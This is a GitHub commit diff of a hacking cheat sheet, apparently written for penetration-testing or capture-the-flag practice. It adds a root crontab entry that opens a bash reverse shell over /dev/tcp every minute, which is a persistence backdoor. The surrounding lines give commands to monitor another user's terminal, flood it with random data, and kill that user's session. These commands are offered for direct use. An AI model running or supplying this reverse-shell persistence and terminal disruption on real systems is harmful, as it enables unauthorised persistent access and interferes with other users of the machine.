Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2021-01-27 16:11:49 +05:00 committed by GitHub
parent 58749974d3
commit b2c4decfa6
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -306,7 +306,10 @@ If there is a port 53 open on the machine you could do a zone transfer to get in
* script /dev/pts/pts-number `montior terminal`
* cat /dev/urandom > /dev/pts/pts-number 2>/dev/null `prints arbitary text on terminal`
* pkill -9 -t pts/pts-number
* Add this in root's crontab (crontab -e) <br />
```
*/1 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2222 0>&1'
```
### Change SSH port
`nano /etc/ssh/sshd_config` (change PORT 22 to any port you want also you can tinker with configuration file)
`service sshd restart` (Restart SSH service to apply changes)